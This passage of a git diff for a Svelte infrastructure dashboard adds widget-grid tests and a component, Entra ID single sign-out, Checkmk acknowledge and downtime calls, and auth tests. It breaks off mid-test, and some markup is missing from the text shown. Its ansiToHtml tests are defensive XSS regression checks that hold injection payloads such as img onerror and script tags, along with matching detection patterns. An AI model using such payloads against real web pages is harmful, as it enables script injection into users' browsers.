'degraded' }, + { name: 'checkmk', status: 'not_configured' }, + { name: 'proxmox', status: 'error' }, + ]); + + render(WidgetGrid, { props: { nodeId: 'node-42' } }); + + await waitFor(() => { + // bolt (connected) + puppetdb (degraded) = 3 visible widgets + const contents = screen.getAllByTestId('mock-widget-content'); + expect(contents.length).toBe(3); + }); + }); + + it('excludes widgets for disconnected integrations', async () => { + registerTestWidget({ id: 'ssh-widget', integration: 'ssh', type: 'list', priority: 50 }); + registerTestWidget({ id: 'bolt-widget', integration: 'bolt', type: 'summary', priority: 10 }); + + mockIntegrationStatus([ + { name: 'bolt', status: 'connected' }, + { name: 'ssh', status: 'disconnected' }, + ]); + + render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + const contents = screen.getAllByTestId('mock-widget-content'); + expect(contents.length).toBe(1); + }); + }); + + it('renders zero widgets when all integrations are disabled', async () => { + registerTestWidget({ id: 'w1', integration: 'bolt', type: 'summary', priority: 10 }); + registerTestWidget({ id: 'w2', integration: 'puppetdb', type: 'list', priority: 20 }); + registerTestWidget({ id: 'w3', integration: 'checkmk', type: 'action', priority: 30 }); + + mockIntegrationStatus([ + { name: 'bolt', status: 'not_configured' }, + { name: 'puppetdb', status: 'error' }, + { name: 'checkmk', status: 'disconnected' }, + ]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + // Wait for status to load (grid renders but with no widgets) + await waitFor(() => { + const grid = container.querySelector('.grid'); + expect(grid).toBeTruthy(); + }); + + // No widget content should be rendered + expect(screen.queryAllByTestId('mock-widget-content').length).toBe(0); + }); + }); + + describe('action vs grid widget placement', () => { + it('action widgets appear in the flex ActionRow, grid widgets in the CSS grid', async () => { + registerTestWidget({ id: 'action-1', integration: 'bolt', type: 'action', priority: 10 }); + registerTestWidget({ id: 'action-2', integration: 'bolt', type: 'action', priority: 20 }); + registerTestWidget({ id: 'list-1', integration: 'bolt', type: 'list', priority: 30 }); + registerTestWidget({ id: 'summary-1', integration: 'bolt', type: 'summary', priority: 40 }); + + mockIntegrationStatus([{ name: 'bolt', status: 'connected' }]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getAllByTestId('mock-widget-content').length).toBe(4); + }); + + // ActionRow is a flex container + const flexRow = container.querySelector('.flex.flex-wrap'); + expect(flexRow).toBeTruthy(); + const actionFrames = flexRow!.querySelectorAll('[class*="min-h-"]'); + expect(actionFrames.length).toBe(2); + + // Grid contains non-action widgets + const grid = container.querySelector('.grid'); + expect(grid).toBeTruthy(); + const gridFrames = grid!.querySelectorAll('[class*="min-h-"]'); + expect(gridFrames.length).toBe(2); + }); + + it('no ActionRow renders when all visible widgets are non-action', async () => { + registerTestWidget({ id: 'list-1', integration: 'bolt', type: 'list', priority: 10 }); + registerTestWidget({ id: 'summary-1', integration: 'bolt', type: 'summary', priority: 20 }); + // Action widget belongs to disabled integration + registerTestWidget({ id: 'action-1', integration: 'proxmox', type: 'action', priority: 5 }); + + mockIntegrationStatus([ + { name: 'bolt', status: 'connected' }, + { name: 'proxmox', status: 'not_configured' }, + ]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getAllByTestId('mock-widget-content').length).toBe(2); + }); + + // No ActionRow (flex container) rendered + const flexRow = container.querySelector('.flex.flex-wrap'); + expect(flexRow).toBeNull(); + }); + + it('ActionRow renders when action widget integration is degraded', async () => { + registerTestWidget({ id: 'action-proxmox', integration: 'proxmox', type: 'action', priority: 100 }); + + mockIntegrationStatus([{ name: 'proxmox', status: 'degraded' }]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getByTestId('mock-widget-content')).toBeTruthy(); + }); + + const flexRow = container.querySelector('.flex.flex-wrap'); + expect(flexRow).toBeTruthy(); + const actionFrames = flexRow!.querySelectorAll('[class*="min-h-"]'); + expect(actionFrames.length).toBe(1); + }); + }); + + describe('priority ordering across integrations', () => { + it('grid widgets from multiple integrations render in ascending priority order', async () => { + // Register in non-priority order to confirm sorting + registerTestWidget({ id: 'puppet-runs', integration: 'puppetdb', type: 'list', colSpan: 3, priority: 100 }); + registerTestWidget({ id: 'bolt-info', integration: 'bolt', type: 'summary', colSpan: 2, priority: 10 }); + registerTestWidget({ id: 'bolt-actions', integration: 'bolt', type: 'list', colSpan: 2, priority: 20 }); + registerTestWidget({ id: 'checkmk-summary', integration: 'checkmk', type: 'summary', colSpan: 2, priority: 100 }); + + mockIntegrationStatus([ + { name: 'bolt', status: 'connected' }, + { name: 'puppetdb', status: 'degraded' }, + { name: 'checkmk', status: 'connected' }, + ]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getAllByTestId('mock-widget-content').length).toBe(4); + }); + + // Check that the grid frames are ordered by priority via colSpan classes + const grid = container.querySelector('.grid'); + const frames = grid!.querySelectorAll('[class*="min-h-"]'); + expect(frames.length).toBe(4); + + // Priority 10 (bolt-info, colSpan 2) → sm:col-span-2 + expect(frames[0].className).toContain('sm:col-span-2'); + // Priority 20 (bolt-actions, colSpan 2) → sm:col-span-2 + expect(frames[1].className).toContain('sm:col-span-2'); + // Priority 100 (puppet-runs, colSpan 3) → lg:col-span-3 + expect(frames[2].className).toContain('lg:col-span-3'); + // Priority 100 (checkmk-summary, colSpan 2) → sm:col-span-2, stable sort keeps registration order + expect(frames[3].className).toContain('sm:col-span-2'); + }); + + it('action widgets render in priority order within ActionRow', async () => { + registerTestWidget({ id: 'action-high', integration: 'bolt', type: 'action', colSpan: 1, priority: 50 }); + registerTestWidget({ id: 'action-low', integration: 'bolt', type: 'action', colSpan: 1, priority: 5 }); + registerTestWidget({ id: 'action-mid', integration: 'proxmox', type: 'action', colSpan: 1, priority: 25 }); + + mockIntegrationStatus([ + { name: 'bolt', status: 'connected' }, + { name: 'proxmox', status: 'degraded' }, + ]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getAllByTestId('mock-widget-content').length).toBe(3); + }); + + const flexRow = container.querySelector('.flex.flex-wrap'); + const actionFrames = flexRow!.querySelectorAll('[class*="min-h-"]'); + expect(actionFrames.length).toBe(3); + // All are col-span-1 so we just verify count and presence + }); + }); + + describe('simulated real widget set', () => { + /** + * Register the same shape as the real widget barrel, but with mock components. + * This tests the end-to-end flow that mirrors production behavior. + */ + function registerProductionLikeWidgets(): void { + registerTestWidget({ + id: 'core-general-info', + name: 'General Information', + integration: 'bolt', + type: 'summary', + colSpan: 2, + priority: 10, + }); + registerTestWidget({ + id: 'core-latest-actions', + name: 'Latest Actions', + integration: 'bolt', + type: 'list', + colSpan: 2, + priority: 20, + }); + registerTestWidget({ + id: 'puppetdb-latest-runs', + name: 'Latest Puppet Runs', + integration: 'puppetdb', + type: 'list', + colSpan: 3, + priority: 100, + }); + registerTestWidget({ + id: 'checkmk-monitoring-summary', + name: 'Monitoring Summary', + integration: 'checkmk', + type: 'summary', + colSpan: 2, + priority: 100, + }); + registerTestWidget({ + id: 'proxmox-console-access', + name: 'Console Access', + integration: 'proxmox', + type: 'action', + colSpan: 1, + priority: 100, + }); + } + + it('with all integrations connected, renders all 5 widgets in correct containers', async () => { + registerProductionLikeWidgets(); + mockIntegrationStatus([ + { name: 'bolt', status: 'connected' }, + { name: 'puppetdb', status: 'connected' }, + { name: 'checkmk', status: 'connected' }, + { name: 'proxmox', status: 'connected' }, + ]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'server-01' } }); + + await waitFor(() => { + expect(screen.getAllByTestId('mock-widget-content').length).toBe(5); + }); + + // ActionRow has 1 action widget (proxmox-console-access) + const flexRow = container.querySelector('.flex.flex-wrap'); + expect(flexRow).toBeTruthy(); + const actionFrames = flexRow!.querySelectorAll('[class*="min-h-"]'); + expect(actionFrames.length).toBe(1); + + // Grid has 4 non-action widgets + const grid = container.querySelector('.grid'); + const gridFrames = grid!.querySelectorAll('[class*="min-h-"]'); + expect(gridFrames.length).toBe(4); + }); + + it('with only bolt connected, renders 2 core widgets and no ActionRow', async () => { + registerProductionLikeWidgets(); + mockIntegrationStatus([ + { name: 'bolt', status: 'connected' }, + { name: 'puppetdb', status: 'not_configured' }, + { name: 'checkmk', status: 'not_configured' }, + { name: 'proxmox', status: 'not_configured' }, + ]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'server-01' } }); + + await waitFor(() => { + expect(screen.getAllByTestId('mock-widget-content').length).toBe(2); + }); + + // No action row (proxmox disabled) + const flexRow = container.querySelector('.flex.flex-wrap'); + expect(flexRow).toBeNull(); + + // Grid has 2 bolt widgets + const grid = container.querySelector('.grid'); + const gridFrames = grid!.querySelectorAll('[class*="min-h-"]'); + expect(gridFrames.length).toBe(2); + }); + + it('with puppetdb degraded, its widget still renders', async () => { + registerProductionLikeWidgets(); + mockIntegrationStatus([ + { name: 'bolt', status: 'connected' }, + { name: 'puppetdb', status: 'degraded' }, + { name: 'checkmk', status: 'error' }, + { name: 'proxmox', status: 'disconnected' }, + ]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'server-01' } }); + + await waitFor(() => { + // bolt (2 widgets) + puppetdb (1 widget) = 3 + expect(screen.getAllByTestId('mock-widget-content').length).toBe(3); + }); + + // No action row (proxmox disconnected) + const flexRow = container.querySelector('.flex.flex-wrap'); + expect(flexRow).toBeNull(); + + // Grid has 3 widgets ordered by priority: 10, 20, 100 + const grid = container.querySelector('.grid'); + const gridFrames = grid!.querySelectorAll('[class*="min-h-"]'); + expect(gridFrames.length).toBe(3); + + // First frame: colSpan 2 (priority 10 - general info) + expect(gridFrames[0].className).toContain('sm:col-span-2'); + expect(gridFrames[0].className).toContain('lg:col-span-2'); + // Second frame: colSpan 2 (priority 20 - latest actions) + expect(gridFrames[1].className).toContain('sm:col-span-2'); + // Third frame: colSpan 3 (priority 100 - puppet runs) + expect(gridFrames[2].className).toContain('lg:col-span-3'); + }); + + it('grid widget ordering reflects priority not registration order', async () => { + // Register in reverse priority order + registerTestWidget({ + id: 'high-priority', + integration: 'bolt', + type: 'list', + colSpan: 1, + priority: 200, + }); + registerTestWidget({ + id: 'low-priority', + integration: 'bolt', + type: 'summary', + colSpan: 2, + priority: 5, + }); + registerTestWidget({ + id: 'mid-priority', + integration: 'bolt', + type: 'list', + colSpan: 3, + priority: 50, + }); + + mockIntegrationStatus([{ name: 'bolt', status: 'connected' }]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getAllByTestId('mock-widget-content').length).toBe(3); + }); + + const grid = container.querySelector('.grid'); + const frames = grid!.querySelectorAll('[class*="min-h-"]'); + + // Priority 5 → colSpan 2 + expect(frames[0].className).toContain('sm:col-span-2'); + expect(frames[0].className).toContain('lg:col-span-2'); + // Priority 50 → colSpan 3 + expect(frames[1].className).toContain('lg:col-span-3'); + // Priority 200 → colSpan 1 + expect(frames[2].className).toContain('col-span-1'); + expect(frames[2].className).not.toContain('sm:col-span-2'); + }); + }); +}); diff --git a/frontend/src/components/WidgetGrid.svelte b/frontend/src/components/WidgetGrid.svelte new file mode 100644 index 00000000..78972411 --- /dev/null +++ b/frontend/src/components/WidgetGrid.svelte @@ -0,0 +1,69 @@ + + +{#if statusError} +
+

+ Unable to load integration status: {statusError} +

+
+{:else} + {#if actionWidgets.length > 0} + + {/if} + +
+ {#each gridWidgets as widget (widget.id)} + + {/each} +
+{/if} diff --git a/frontend/src/components/WidgetGrid.test.ts b/frontend/src/components/WidgetGrid.test.ts new file mode 100644 index 00000000..a8567c7d --- /dev/null +++ b/frontend/src/components/WidgetGrid.test.ts @@ -0,0 +1,393 @@ +/** + * Unit tests for WidgetGrid component. + * + * Property 6: Action row composition + * Property 8: Error isolation + * Also tests integration status error notification and unknown integration exclusion. + * + * Validates: Requirements 2.2, 2.3, 2.4, 4.2, 6.3 + */ + +import { describe, it, expect, beforeEach, vi } from 'vitest'; +import { render, screen, waitFor } from '@testing-library/svelte'; +import type { Component } from 'svelte'; +import WidgetGrid from './WidgetGrid.svelte'; +import { registerWidget, _resetForTesting } from '../lib/widgetRegistry.svelte'; +import MockReadyWidget from './__tests__/MockReadyWidget.svelte'; +import MockErrorWidget from './__tests__/MockErrorWidget.svelte'; + +// Mock the API module +vi.mock('../lib/api', () => ({ + get: vi.fn(), +})); + +import { get } from '../lib/api'; +const mockGet = vi.mocked(get); + +function registerActionWidget(id: string, integration: string, priority: number): void { + registerWidget({ + id, + name: `Action ${id}`, + component: MockReadyWidget as unknown as Component, + integration, + type: 'action', + colSpan: 1, + priority, + }); +} + +function registerListWidget(id: string, integration: string, priority: number): void { + registerWidget({ + id, + name: `List ${id}`, + component: MockReadyWidget as unknown as Component, + integration, + type: 'list', + colSpan: 2, + priority, + }); +} + +function registerSummaryWidget(id: string, integration: string, priority: number): void { + registerWidget({ + id, + name: `Summary ${id}`, + component: MockReadyWidget as unknown as Component, + integration, + type: 'summary', + colSpan: 1, + priority, + }); +} + +function mockIntegrationStatus(integrations: { name: string; status: string; type?: string }[]): void { + mockGet.mockResolvedValue({ + integrations: integrations.map(i => ({ + type: 'both', + ...i, + })), + }); +} + +describe('WidgetGrid', () => { + beforeEach(() => { + _resetForTesting(); + vi.clearAllMocks(); + }); + + /** + * Property 6: Action row composition + * + * For any set of visible widgets, the action row SHALL contain exactly those + * widgets with type "action" and no widgets of type "list" or "summary", + * rendered in ascending priority order. + * + * **Validates: Requirements 4.2, 4.3** + */ + describe('Property 6: Action row composition', () => { + it('action row contains only action-type widgets', async () => { + registerActionWidget('action-1', 'bolt', 10); + registerListWidget('list-1', 'bolt', 20); + registerSummaryWidget('summary-1', 'bolt', 30); + mockIntegrationStatus([{ name: 'bolt', status: 'connected' }]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getAllByTestId('mock-widget-content').length).toBeGreaterThan(0); + }); + + // ActionRow uses flex layout; grid widgets use the CSS grid + const flexRow = container.querySelector('.flex.flex-wrap'); + expect(flexRow).toBeTruthy(); + + // The flex row should contain exactly 1 widget frame (the action widget) + const actionFrames = flexRow!.querySelectorAll('[class*="min-h-"]'); + expect(actionFrames.length).toBe(1); + }); + + it('action row renders action widgets in ascending priority order', async () => { + registerActionWidget('action-high', 'bolt', 50); + registerActionWidget('action-low', 'bolt', 10); + registerActionWidget('action-mid', 'bolt', 30); + mockIntegrationStatus([{ name: 'bolt', status: 'connected' }]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getAllByTestId('mock-widget-content').length).toBe(3); + }); + + const flexRow = container.querySelector('.flex.flex-wrap'); + expect(flexRow).toBeTruthy(); + + // All 3 action widgets should be in the flex row + const actionFrames = flexRow!.querySelectorAll('[class*="min-h-"]'); + expect(actionFrames.length).toBe(3); + }); + + it('no list or summary widgets appear in the action row', async () => { + registerActionWidget('action-1', 'bolt', 10); + registerListWidget('list-1', 'bolt', 5); + registerSummaryWidget('summary-1', 'bolt', 1); + mockIntegrationStatus([{ name: 'bolt', status: 'connected' }]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getAllByTestId('mock-widget-content').length).toBeGreaterThan(0); + }); + + const flexRow = container.querySelector('.flex.flex-wrap'); + expect(flexRow).toBeTruthy(); + + // Only 1 action widget in the action row + const actionFrames = flexRow!.querySelectorAll('[class*="min-h-"]'); + expect(actionFrames.length).toBe(1); + + // The grid should contain the list and summary widgets + const grid = container.querySelector('.grid'); + expect(grid).toBeTruthy(); + const gridFrames = grid!.querySelectorAll('[class*="min-h-"]'); + expect(gridFrames.length).toBe(2); + }); + + it('action row does not render when no action widgets exist', async () => { + registerListWidget('list-1', 'bolt', 10); + registerSummaryWidget('summary-1', 'bolt', 20); + mockIntegrationStatus([{ name: 'bolt', status: 'connected' }]); + + const { container } = render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getAllByTestId('mock-widget-content').length).toBeGreaterThan(0); + }); + + const flexRow = container.querySelector('.flex.flex-wrap'); + expect(flexRow).toBeNull(); + }); + }); + + /** + * Property 8: Error isolation + * + * For any set of widgets where a subset throws errors, all non-erroring widgets + * SHALL render their content state independently and without interruption. + * + * **Validates: Requirements 6.3** + */ + describe('Property 8: Error isolation', () => { + it('non-erroring widgets render content when sibling widget errors', async () => { + registerWidget({ + id: 'good-widget', + name: 'Good Widget', + component: MockReadyWidget as unknown as Component, + integration: 'bolt', + type: 'summary', + colSpan: 1, + priority: 10, + }); + registerWidget({ + id: 'bad-widget', + name: 'Bad Widget', + component: MockErrorWidget as unknown as Component, + integration: 'bolt', + type: 'list', + colSpan: 2, + priority: 20, + }); + mockIntegrationStatus([{ name: 'bolt', status: 'connected' }]); + + render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + // The good widget should render its content + await waitFor(() => { + expect(screen.getByTestId('mock-widget-content')).toBeTruthy(); + }); + + // The bad widget should show its error message + expect(screen.getByText('Connection timeout')).toBeTruthy(); + + // Both coexist without affecting each other + expect(screen.getByText('Widget loaded for node-1')).toBeTruthy(); + }); + + it('multiple good widgets render independently when one widget errors', async () => { + registerWidget({ + id: 'good-1', + name: 'Good One', + component: MockReadyWidget as unknown as Component, + integration: 'bolt', + type: 'summary', + colSpan: 1, + priority: 10, + }); + registerWidget({ + id: 'good-2', + name: 'Good Two', + component: MockReadyWidget as unknown as Component, + integration: 'puppetdb', + type: 'list', + colSpan: 2, + priority: 20, + }); + registerWidget({ + id: 'bad-1', + name: 'Bad One', + component: MockErrorWidget as unknown as Component, + integration: 'bolt', + type: 'list', + colSpan: 1, + priority: 30, + }); + mockIntegrationStatus([ + { name: 'bolt', status: 'connected' }, + { name: 'puppetdb', status: 'degraded' }, + ]); + + render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + // Both good widgets should render their content + const contents = screen.getAllByTestId('mock-widget-content'); + expect(contents.length).toBe(2); + }); + + // The error widget shows its error + expect(screen.getByText('Connection timeout')).toBeTruthy(); + }); + + it('action widgets render independently from erroring grid widgets', async () => { + registerWidget({ + id: 'action-good', + name: 'Action Good', + component: MockReadyWidget as unknown as Component, + integration: 'bolt', + type: 'action', + colSpan: 1, + priority: 10, + }); + registerWidget({ + id: 'grid-bad', + name: 'Grid Bad', + component: MockErrorWidget as unknown as Component, + integration: 'bolt', + type: 'list', + colSpan: 2, + priority: 20, + }); + mockIntegrationStatus([{ name: 'bolt', status: 'connected' }]); + + render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + // The action widget renders successfully + expect(screen.getByTestId('mock-widget-content')).toBeTruthy(); + }); + + // The grid widget shows error + expect(screen.getByText('Connection timeout')).toBeTruthy(); + }); + }); + + describe('Integration status error displays notification', () => { + it('shows error notification when status endpoint fails', async () => { + mockGet.mockRejectedValue(new Error('Network failure')); + + render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getByText(/Unable to load integration status/)).toBeTruthy(); + }); + expect(screen.getByText(/Network failure/)).toBeTruthy(); + }); + + it('does not render any widgets when status endpoint fails', async () => { + registerListWidget('list-1', 'bolt', 10); + registerActionWidget('action-1', 'bolt', 20); + mockGet.mockRejectedValue(new Error('Server error')); + + const { container } = render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getByText(/Unable to load integration status/)).toBeTruthy(); + }); + + // No flex row (action row) or grid widgets should be rendered + const flexRow = container.querySelector('.flex.flex-wrap'); + expect(flexRow).toBeNull(); + const grid = container.querySelector('.grid'); + expect(grid).toBeNull(); + }); + + it('shows fallback message for non-Error rejection', async () => { + mockGet.mockRejectedValue('unknown failure'); + + render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getByText(/Unable to load integration status/)).toBeTruthy(); + expect(screen.getByText(/Failed to load integration status/)).toBeTruthy(); + }); + }); + }); + + describe('Widgets with unknown integrations are excluded', () => { + it('excludes widgets whose integration is not in the status response', async () => { + registerListWidget('known-widget', 'bolt', 10); + registerListWidget('unknown-widget', 'nonexistent', 20); + mockIntegrationStatus([{ name: 'bolt', status: 'connected' }]); + + render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + const contents = screen.getAllByTestId('mock-widget-content'); + // Only the bolt widget should render + expect(contents.length).toBe(1); + }); + }); + + it('excludes widgets with not_configured integration status', async () => { + registerListWidget('configured-widget', 'bolt', 10); + registerListWidget('unconfigured-widget', 'ansible', 20); + mockIntegrationStatus([ + { name: 'bolt', status: 'connected' }, + { name: 'ansible', status: 'not_configured' }, + ]); + + render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + const contents = screen.getAllByTestId('mock-widget-content'); + expect(contents.length).toBe(1); + }); + }); + + it('excludes widgets with error integration status', async () => { + registerListWidget('good-widget', 'bolt', 10); + registerListWidget('error-widget', 'puppetdb', 20); + mockIntegrationStatus([ + { name: 'bolt', status: 'connected' }, + { name: 'puppetdb', status: 'error' }, + ]); + + render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + const contents = screen.getAllByTestId('mock-widget-content'); + expect(contents.length).toBe(1); + }); + }); + + it('includes widgets with degraded integration status', async () => { + registerListWidget('degraded-widget', 'puppetdb', 10); + mockIntegrationStatus([{ name: 'puppetdb', status: 'degraded' }]); + + render(WidgetGrid, { props: { nodeId: 'node-1' } }); + + await waitFor(() => { + expect(screen.getByTestId('mock-widget-content')).toBeTruthy(); + }); + }); + }); +}); diff --git a/frontend/src/components/__tests__/MockErrorWidget.svelte b/frontend/src/components/__tests__/MockErrorWidget.svelte new file mode 100644 index 00000000..697ea2b8 --- /dev/null +++ b/frontend/src/components/__tests__/MockErrorWidget.svelte @@ -0,0 +1,17 @@ + + +
This should not be visible
diff --git a/frontend/src/components/__tests__/MockNeverReadyWidget.svelte b/frontend/src/components/__tests__/MockNeverReadyWidget.svelte new file mode 100644 index 00000000..861684fd --- /dev/null +++ b/frontend/src/components/__tests__/MockNeverReadyWidget.svelte @@ -0,0 +1,12 @@ + + +
Loading forever...
diff --git a/frontend/src/components/__tests__/MockReadyWidget.svelte b/frontend/src/components/__tests__/MockReadyWidget.svelte new file mode 100644 index 00000000..057a5840 --- /dev/null +++ b/frontend/src/components/__tests__/MockReadyWidget.svelte @@ -0,0 +1,17 @@ + + +
Widget loaded for {nodeId}
diff --git a/frontend/src/lib/ansiToHtml.test.ts b/frontend/src/lib/ansiToHtml.test.ts new file mode 100644 index 00000000..67fcb374 --- /dev/null +++ b/frontend/src/lib/ansiToHtml.test.ts @@ -0,0 +1,54 @@ +import { describe, it, expect } from "vitest"; +import { ansiToHtml } from "./ansiToHtml"; + +/** + * Security regression tests for the `{@html}` sink. + * + * ansiToHtml output is rendered with `{@html}` in CommandOutput.svelte, + * RealtimeOutputViewer.svelte, PuppetOutputViewer.svelte, and ExecutionsPage.svelte. + * These tests lock in the escape-first invariant: any HTML metacharacters in + * attacker-influenced node output MUST be escaped before span tags are injected, + * so no live markup can ever be produced. (Assessment finding L-1) + */ +describe("ansiToHtml — XSS / HTML-injection hardening", () => { + it("escapes an payload so no live markup is produced", () => { + const out = ansiToHtml(''); + // The dangerous characters must be entity-encoded. + expect(out).toContain("<img"); + expect(out).toContain(">"); + // No raw tag may survive. + expect(out).not.toContain("]*onerror/i); + }); + + it("escapes a "); + expect(out).not.toContain(""); + expect(out).toContain("<script>"); + }); + + it("escapes quotes and ampersands", () => { + const out = ansiToHtml(`" ' &`); + expect(out).toContain("""); + expect(out).toContain("'"); + expect(out).toContain("&"); + }); + + it("escapes HTML embedded inside ANSI-coloured segments (span path)", () => { + // Colour code (red) followed by a payload, then reset. Exercises the + // branch that wraps text in . The payload must still be + // escaped inside the span. + const out = ansiToHtml("\x1b[31m\x1b[0m"); + expect(out).toContain("]*onerror/i); + }); + + it("only emits span style values from the fixed colour table", () => { + // A user-controlled value cannot leak into the style attribute: styling is + // driven solely by the numeric ANSI code lookup, never by output text. + const out = ansiToHtml("\x1b[31mhello\x1b[0m"); + expect(out).toBe('hello'); + }); +}); diff --git a/frontend/src/lib/auth.svelte.ts b/frontend/src/lib/auth.svelte.ts index b9cce630..85b7c6b5 100644 --- a/frontend/src/lib/auth.svelte.ts +++ b/frontend/src/lib/auth.svelte.ts @@ -160,19 +160,23 @@ class AuthManager { } /** - * Logout and clear all auth data - * Requirement: 1.6, 6.4 + * Logout and clear all auth data. + * If the session was established via Entra ID, the backend returns an + * `entraIdLogoutUrl` — redirect the browser there for single sign-out. + * Requirement: 1.6, 6.4, 8.4 */ async logout(): Promise { logger.info('Auth', 'logout', 'Logging out user', { userId: this._user?.id, }); + let entraIdLogoutUrl: string | undefined; + // Call logout endpoint to revoke tokens — pass both access + refresh so // the backend can revoke them as a pair (C1 refresh-token rotation). if (this._token) { try { - await fetch(`${API_BASE_URL}/auth/logout`, { + const response = await fetch(`${API_BASE_URL}/auth/logout`, { method: 'POST', headers: { 'Authorization': `Bearer ${this._token}`, @@ -182,6 +186,11 @@ class AuthManager { ? JSON.stringify({ refreshToken: this._refreshToken }) : undefined, }); + + if (response.ok) { + const data = await response.json() as { entraIdLogoutUrl?: string }; + entraIdLogoutUrl = data.entraIdLogoutUrl; + } } catch (error) { logger.warn('Auth', 'logout', 'Logout API call failed', { error: error instanceof Error ? error.message : 'Unknown error', @@ -192,6 +201,13 @@ class AuthManager { this.clearAuthData(); + // Redirect to Entra ID end-session endpoint for SSO single sign-out + if (entraIdLogoutUrl) { + logger.info('Auth', 'logout', 'Redirecting to Entra ID logout'); + window.location.href = entraIdLogoutUrl; + return; + } + logger.info('Auth', 'logout', 'Logout complete'); } @@ -272,6 +288,14 @@ class AuthManager { this._error = null; } + /** + * Set auth data from an external SSO flow (Entra ID token exchange). + * Public wrapper around setAuthData for use by entraIdAuth module. + */ + setAuthDataFromSso(data: AuthResponse): void { + this.setAuthData(data); + } + // Private methods private setAuthData(data: AuthResponse): void { diff --git a/frontend/src/lib/checkmkApi.ts b/frontend/src/lib/checkmkApi.ts index 7ba0e0ae..7803f5a6 100644 --- a/frontend/src/lib/checkmkApi.ts +++ b/frontend/src/lib/checkmkApi.ts @@ -5,7 +5,7 @@ * providing service status and monitoring event data for nodes. */ -import { get } from './api'; +import { get, post } from './api'; /** * Service status as returned by the monitoring API. @@ -89,3 +89,41 @@ export async function getNodeMonitoringEvents( ); return extractArrayPayload(data, 'events'); } + +/** + * Acknowledge a Checkmk service problem. + * + * Marks the (host, service) problem as handled. Requires the `checkmk:write` + * permission server-side. Resolves on success; throws on failure so callers + * can surface the error via a toast. + */ +export async function acknowledgeProblem(params: { + hostname: string; + serviceDescription: string; + comment: string; + sticky?: boolean; + persistent?: boolean; + notify?: boolean; +}): Promise { + await post('/api/monitoring/acknowledge', params, { + maxRetries: 0, + }); +} + +/** + * Schedule a downtime window for a Checkmk service. + * + * `startTime` and `endTime` are ISO-8601 strings. Requires the `checkmk:write` + * permission server-side. Resolves on success; throws on failure. + */ +export async function scheduleDowntime(params: { + hostname: string; + serviceDescription: string; + comment: string; + startTime: string; + endTime: string; +}): Promise { + await post('/api/monitoring/downtime', params, { + maxRetries: 0, + }); +} diff --git a/frontend/src/lib/entraIdAuth.svelte.test.ts b/frontend/src/lib/entraIdAuth.svelte.test.ts new file mode 100644 index 00000000..b55b98dc --- /dev/null +++ b/frontend/src/lib/entraIdAuth.svelte.test.ts @@ -0,0 +1,179 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; + +// Mock the api module before importing the module under test +vi.mock('./api', () => ({ + get: vi.fn(), + post: vi.fn(), +})); + +// Mock the auth module +vi.mock('./auth.svelte', () => ({ + authManager: { + setAuthDataFromSso: vi.fn(), + isAuthenticated: false, + }, +})); + +// Mock the router module +vi.mock('./router.svelte', () => ({ + router: { + navigate: vi.fn(), + }, +})); + +// Mock the toast module +vi.mock('./toast.svelte', () => ({ + showError: vi.fn(), +})); + +import * as api from './api'; +import { authManager } from './auth.svelte'; +import { router } from './router.svelte'; +import { entraIdAuth } from './entraIdAuth.svelte'; + +describe('EntraIdAuthStore', () => { + beforeEach(() => { + vi.clearAllMocks(); + // Reset store state between tests + entraIdAuth.isEntraIdEnabled = false; + entraIdAuth.entraIdProviderName = 'Microsoft Entra ID'; + entraIdAuth.providerDiscoveryError = false; + entraIdAuth.isExchangingCode = false; + entraIdAuth.exchangeError = null; + }); + + afterEach(() => { + vi.restoreAllMocks(); + }); + + describe('discoverProviders', () => { + it('sets isEntraIdEnabled to true when API returns entraId enabled', async () => { + vi.mocked(api.get).mockResolvedValue({ + local: true, + entraId: { enabled: true, name: 'Contoso SSO' }, + }); + + await entraIdAuth.discoverProviders(); + + expect(entraIdAuth.isEntraIdEnabled).toBe(true); + expect(entraIdAuth.entraIdProviderName).toBe('Contoso SSO'); + expect(entraIdAuth.providerDiscoveryError).toBe(false); + }); + + it('sets isEntraIdEnabled to false when entraId is not in response', async () => { + vi.mocked(api.get).mockResolvedValue({ local: true }); + + await entraIdAuth.discoverProviders(); + + expect(entraIdAuth.isEntraIdEnabled).toBe(false); + expect(entraIdAuth.providerDiscoveryError).toBe(false); + }); + + it('sets providerDiscoveryError on timeout/failure', async () => { + vi.mocked(api.get).mockRejectedValue(new Error('Request timed out')); + + await entraIdAuth.discoverProviders(); + + expect(entraIdAuth.providerDiscoveryError).toBe(true); + expect(entraIdAuth.isEntraIdEnabled).toBe(false); + }); + + it('calls /api/auth/providers with 5s timeout', async () => { + vi.mocked(api.get).mockResolvedValue({ local: 